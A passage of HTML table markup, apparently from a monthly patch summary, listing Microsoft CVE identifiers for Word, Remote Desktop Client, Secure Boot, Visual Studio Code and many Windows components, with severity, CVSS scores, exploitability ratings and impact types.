  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
